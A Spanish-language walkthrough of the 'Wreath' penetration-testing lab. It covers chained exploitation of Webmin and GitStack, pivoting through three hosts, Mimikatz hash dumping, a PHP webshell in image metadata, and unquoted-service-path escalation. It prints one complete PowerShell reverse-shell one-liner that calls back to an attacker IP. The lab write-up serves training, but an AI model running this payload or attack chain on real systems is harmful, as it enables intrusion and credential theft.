Situación inicial

Wreath es una red formada por tres dispositivos. Primero, aprovecharemos un fallo en Webmin para comprometer un servidor CentOS (Prod-serv). Luego, tendremos que hacer pivote para acceder al segundo dispositivo. Usaremos sshuttle para establecer un túnel proxy que nos proporcionará acceso a otro servidor, un Windows Server 2019 (Git-Serv). Aquí, explotaremos Gitstack para obtener acceso como SYSTEM.

Después, emplearemos Mimikatz para obtener los hashes de los usuarios y lograr acceso como Administrador en nuestra máquina Kali a través de evil-winrm. A continuación, crearemos un proxy SOCKS reenviado con Chisel, que nos permitirá acceder al sitio web del tercer dispositivo, otro Windows Server 2019 (wreath-pc). Lograremos cargar una imagen que incluye una conexión inversa ofuscada en PHP y aumentaremos nuestros privilegios explotando la vulnerabilidad de la ruta de servicio no entrecomillada presente en uno de los servicios que se ejecutan en el dispositivo. Finalmente, como prueba de la vulneración de la última máquina descargaremos los archivos SAM y SYSTEM donde extraeremos los hashes de los usuarios, entre ellos, el del usuario administrador.

Servidor prod-serv

Enumeración de servicios de servidor prod-serv

Comenzamos enumerando los servicios abiertos del servidor CentOS del que tenemos su dirección IP.

Tenemos 4 servicios abiertos. Vamos a escanearlos de manera profunda.

Servicios abiertos:

Enumeración Web

El servidor está ejecutando varios servidores Web en 3 de sus puertos. Vamos a ver el contenido.

Primero vamos a tener que registrar el dominio en el archivo /etc/hosts de nuestra máquina de ataque.

Y volvemos a acceder al sitio Web.

Accedemos al blog personal de Thomas Wreath.

Tenemos otro servicio Web ejecutándose en el puerto 10000. Veamos su contenido.

El escaneo inicial de NMAP determinó que en el puerto 10000 se está ejecutando una versión Webmin 1.890.

Vamos a buscar exploits existentes para esta versión. Encontramos un exploit en Python para la vulnerabilidad CVE-2019-15107.

Explotación

Vamos a descargar este exploit y ejecutamos.

Tenemos conexión con el servidor CentOS con privilegios máximos. Pero no es una Shell completa. Ejecutamos de la siguiente manera:

Y en otra pestaña ponemos a la escucha un oyente nc en el puerto 1234.

Confirmamos que estamos dentro del servidor CentOS.

Somos usuario root, así que vamos a enumerar el contenido del directorio /root.

Tenemos un directorio /.ssh en su interior. Puede contener claves privadas validas para iniciar sesión utilizando el servicio de SSH que se está ejecutando en el puerto 22.

Tenemos una clave privada. Vamos a descargarla a nuestra máquina de ataque. Le damos permisos con chmod 600 id_rsa.

Pivotando

El primer paso será salir de la Shell anterior y conectarnos al servidor CentOS utilizando la clave id_rsa y el servidor SSH.

El siguiente paso será enumerar la existencia de más equipos en esa red. Para ello, cargaremos un binario estático de nmap en la máquina CentOS utilizando un servidor http con Python2.

Las IP indicadas anteriormente están fuera del scope de la red auditada (pertenecen al servidor VPN y al servidor donde se hospeda el laboratorio). Si sabemos que la IP .200 es la IP de la máquina donde nos encontramos, hemos encontrado equipos con IP .100 y .150.

Aprovechando el binario estático que hemos subido a la IP .200, vamos a escanear las dos IP nuevas encontradas.

La IP .100 no devuelve resultados al escanear los servicios. Vamos a enumerar los puertos de la IP .150.

Tres puertos abiertos: 80, 3389 y 5985.

Vamos a utilizar sshutle para poder hacer pivoting y conectarnos al puerto 80 (servicio Web).

Servidor git-serv

Enumeración Web

Durante la enumeración en el proceso de pivoting hemos visto que se esta ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

Vamos a acceder al primer directorio que se indica en la imagen anterior (/registration/login).

Vamos a buscar exploits para GitStack.

Tenemos un posible exploit. Vamos a descargarlo y ver si es útil con la versión de GitStack que se está ejecutando en el servidor.

Explotación

Cambiamos la IP y ejecutamos.

Nos devuelve privilegios máximos en el sistema, pero no obtenemos Shell. Otra cosa que hace este exploit es colocar una webshell en el sistema a la que podemos acceder de la siguiente manera.

Estableciendo Shell en nuestra máquina de ataque

Necesitamos establecer un shell inverso, así que intentamos hacer ping a nuestra máquina atacante, pero no recibimos paquetes, lo que indica la presencia de un firewall bloqueándolo. Vamos a averiguarlo.

CentOS emplea un contenedor siempre activo alrededor del firewall IPTables llamado “firewalld”. Por defecto, este firewall es altamente restrictivo y solo permite el acceso a SSH y a cualquier otro servicio que el administrador del sistema haya especificado.

Ingresamos de nuevo al prod-serv y ajustamos nuestra conexión utilizando socat para obtener acceso. Antes de ello, realizamos cambios en el firewall para habilitar un puerto desde donde podamos transferir datos.

Para realizar cambios en el firewall ejecutamos el siguiente comando:

El siguiente paso será transferir un ejecutable de socat a esta máquina. Levantamos un servidor http con Python en nuestra máquina de ataque. Posteriormente, ejecutaremos el siguiente comando en la máquina prod-serv.

Una vez descargado el binario, lo configuramos para reenviar toda la información que reciba a través del puerto 30000 al puerto 6000 de nuestra máquina de ataque.

Al mismo tiempo, debemos configurar un oyente nc en el puerto 6000 de nuestra máquina de ataque.

Aún no recibiremos información. Aprovechando el exploit que utilizamos anteriormente y que cargo una webshell PHP en el sistema, vamos a enviar un reverse Shell en Powershell con codificación URL. La reverse Shell es la siguiente:

powershell.exe -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.200.57.200’,30000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

Ejecutamos el exploit con la carga Powershell codificada.

En este momento, ya se habrá establecido la Shell entre nuestra máquina de ataque y el servidor de GitStack.

Donde tendremos privilegios máximos.

Obteniendo persistencia

El siguiente paso es obtener persistencia. Para ello, vamos a crear un usuario para poder acceder a través de RDP o a través de Evil-WinRM.

El procedimiento es el siguiente:

El siguiente paso es determinar si el usuario está bien generado.

Obteniendo hashes

Vamos a tratar de dumpear los hashes del sistema utilizando un ejecutable de mimikatz que deberemos cargar en la máquina objetivo. Esto lo hacemos de la siguiente manera:

Una vez hecho esto, nos vamos a conectar a la máquina remotamente a través de RDP de la siguiente manera:

Una vez iniciado el sistema, levantamos una CMD como administrador y nos dirigimos al directorio Documents del usuario elhackeretico, donde vamos a encontrar el ejecutable de mimikatz cargado anteriormente, y lo ejecutamos.

Los comandos señalados sirven para depurar los privilegios y escalar a la integridad del nivel del SYSTEM.

Con el comando señalado vamos a realizar el volcado de los hashes de todos los usuarios del sistema.

Encontramos el hash NTLM del usuario administrador.

Y hashes de otros usuarios del sistema.

Y el del usuario Thomas.

Y el del usuario que hemos creado para generar la persistencia.

Con el hash NTLM del usuario administrador vamos a tratar de ganar acceso al sistema como usuario Administrator.

Pivotando

Desde la terminal del equipo git-serv vamos a enumerar que servicios tiene abiertos la tercera máquina de la red. Para ello, vamos a utilizar la herramienta PowerShell, Invoke-Portscan.ps1.

El tercer equipo de la red tiene los puertos 80 y 3389. Vamos a comprobar si desde la IP .150 tenemos acceso al equipo con IP .100.

Tenemos conexión. Para acceder al servidor web, se requerirá agregar una regla en el firewall de git-serv que permita conexiones entrantes.

El siguiente paso será habilitar Chisel como servidor en la máquina git-serv.

En nuestra máquina de ataque colocamos habilitamos un cliente de Chisel de la siguiente manera:

Seguimos añadiendo el puerto 8090 y habilitando una conexión socks5 en el archivo proxychains.conf.

Finalmente, para poder acceder al sitio Web que se está ejecutando en el puerto 80, vamos a configurar Foxy Proxy de la siguiente manera:

Ya podremos conectarnos al puerto 80 desde nuestra máquina de ataque.

PC Wreath

Durante el proceso de pivoting hemos visto que se está ejecutando en el puerto 80 de Wreath, la misma página Web que se estaba ejecutando en el servidor prod-serv. Wreath nos informó que trabajó en su sitio web empleando un entorno local en su computadora personal. Por ende, esta versión avanzada podría tener algunas vulnerabilidades que podríamos aprovechar para explotar el objetivo.  Vamos a obtener el código fuente de la página web y examinarlo en nuestro equipo local. Podríamos clonar directamente el repositorio desde el servidor, aunque esto posiblemente requiera credenciales que tendríamos que conseguir. Sin embargo, ya que contamos con acceso de administrador local al servidor git, podemos optar por descargar el repositorio desde el disco duro y rearmarlo localmente, lo cual no demanda ningún tipo de autenticación adicional.

Nos vamos a la terminal del servidor con IP .150 y buscamos el directorio C:\GitStack\repositories.

Descargamos este directorio en nuestra máquina de ataque.

Una vez que haya finalizado la descarga, podemos examinar el repositorio que hemos obtenido. Primero, renombramos el subdirectorio a Website.git, posteriormente accedemos a este directorio y renombramos su contenido a .git.

El siguiente paso con la herramienta extractor que podemos encontrar en el paquete de herramientas GitTools, extraeremos información de este directorio.

Accedemos al directorio creado tras el proceso anterior.

El sitio Web está ejecutando PHP, así que dentro del directorio Website debemos buscar archivos PHP que son aquellos con los que está montado el sitio Web de Wreath. El proceso anterior creo tres directorios que corresponden a tres versiones del sitio Web de distinta antigüedad. Estos commits no están ordenados por fecha. Ejecutamos la siguiente línea de código:

Del resultado generado podemos ver el repositorio más actualizado. Dentro de este repositorio buscamos archivos PHP.

Nos vamos al navegador y accedemos al archivo index.php que se encuentra en el directorio /resources.

Al acceder al sitio Web nos piden credenciales. Vamos a probar con las credenciales de Thomas que encontramos en el servidor git-serv.

Desciframos el hash.

Vamos a probar la contraseña encontrada. Las credenciales reutilizadas de Thomas nos permiten acceder a un servicio de carga de archivos.

Si analizamos el código fuente encontrado en el repositorio .git, podemos ver los archivos que podemos cargar en este servicio.

Podemos ver que todos los archivos permitidos son imágenes. Vamos a tratar de cargar comandos en el PC de Wreath a través de comentarios registrados en los metadatos de una imagen. Esta imagen previamente le añadimos la extensión PHP para poder ejecutar comandos.

Ahora cargamos esta imagen en el servidor Web. En el código fuente del sitio Web vimos que las imágenes cargadas iban a un directorio /uploads. Vamos a cargar la imagen en el sitio Web.

Pero tenemos un error. Vamos a añadir ?wreath= a la URL y podremos ejecutar comandos.

Sabiendo que existe una vulnerabilidad de RCE, vamos a tratar de cargar un ejecutable de nc desde nuestra máquina de ataque con el que vamos a tratar de generar una reverse Shell.

Para enviar este binario de nc, vamos a levantar un servidor HTTP con Python.

Ahora cargamos el binario nc.exe en la máquina de Wreath de la siguiente manera.

Y ejecutamos. Debemos poner a la escucha en nuestra máquina de ataque en el puerto que elijamos.

Y ya tendremos acceso a la máquina Wreath desde nuestra máquina de ataque.

Elevación de privilegios

Ahora que hemos obtenido acceso a la máquina, procedamos a realizar una enumeración. Un vector de ataque comúnmente usado para escalar privilegios en sistemas Microsoft Windows se debe a servicios mal configurados. Por lo tanto, examinemos los servicios presentes en la máquina empleando el comando siguiente:

En el resultado, podemos detectar inmediatamente una vulnerabilidad: un archivo unquoted service path. ¿Qué es una vulnerabilidad unquoted service path? Cuando se crea un servicio cuya ruta de ejecución contiene espacios y no está encerrada entre comillas, se genera una vulnerabilidad denominada “unquoted service path”. Esta vulnerabilidad permite a un usuario obtener privilegios de SYSTEM, siempre y cuando el servicio vulnerable se ejecute con el nivel de privilegio SYSTEM, lo cual suele ser el caso en la mayoría de las ocasiones.

Vamos a tratar de obtener más información del servicio:

¡Excelente! LocalSystem inicia el proceso. Ahora simplemente debemos comprobar si alguno de los directorios suministrados es accesible para escritura.

Aquí, vemos que cualquier usuario existente en el sistema tiene FullControl (incluidos los permisos de escritura) del directorio C:\Program Files (x86)\System Explorer.

Para lograr nuestro objetivo de ejecutar un shell inverso, necesitamos crear un binario utilizando el lenguaje de programación C#.

El siguiente programa establece una conexión inversa con nuestra máquina atacante en el puerto 1234. Dado que el servicio se ejecuta con LocalSystem, el shell inverso también tendrá privilegios de sistema.

Posteriormente, procedemos a compilar el programa utilizando mcs, lo que dará lugar a un archivo llamado shell.exe que renombraremos a System.exe.

Después, transferimos el archivo binario System.exe desde nuestra máquina atacante a la máquina con IP.100. Hay dos formas de hacer esto: mediante el uso del shell inverso que ya hemos establecido o a través del shell web que sigue estando disponible. Es importante tener en cuenta que el directorio de destino para guardar el archivo es C:\Program Files (x86)\System Explorer\System.exe, ya que hemos comprobado que este directorio permite la escritura de archivos.

Al hacer uso de nuestro shell inverso, debemos detener y reiniciar el servicio de destino, lo que activará nuestra carga maliciosa y, finalmente, nos otorgará acceso al sistema en la máquina con IP .100.

Recordamos que también tenemos que levantar un oyente nc en nuestra máquina de ataque en el puerto que hayamos elegido para la Shell.

Una vez reiniciado el servicio, debemos recibir Shell con privilegios máximos en nuestra máquina de ataque.

Extrayendo infomración del sistema

El último paso consiste en obtener información confidencial de la máquina comprometida. Nuestro objetivo es verificar que hemos obtenido acceso de root a la máquina de destino. Para lograr esto, procedemos a copiar los archivos SAM y SYSTEM, que contienen los hashes de usuario, a nuestra máquina atacante local. Para hacerlo, copiaremos ambos archivos al directorio C:\xampp\htdocs\, ¿por qué? De esta manera, podremos descargarlos desde el navegador Web.

Preparamos ambos archivos:

Copiamos ambos archivos al directorio C:\xampp\htdocs\

Descargamos ambos archivos.

Después de realizar los pasos anteriores, el siguiente procedimiento es emplear la herramienta secretsdump de Impacket para obtener los hashes de usuario contenidos en ambos archivos. Con el hash de administrador obtenido de la máquina con IP .100 en nuestro poder, contamos con una evidencia sólida para intentar obtener acceso root en dicha máquina.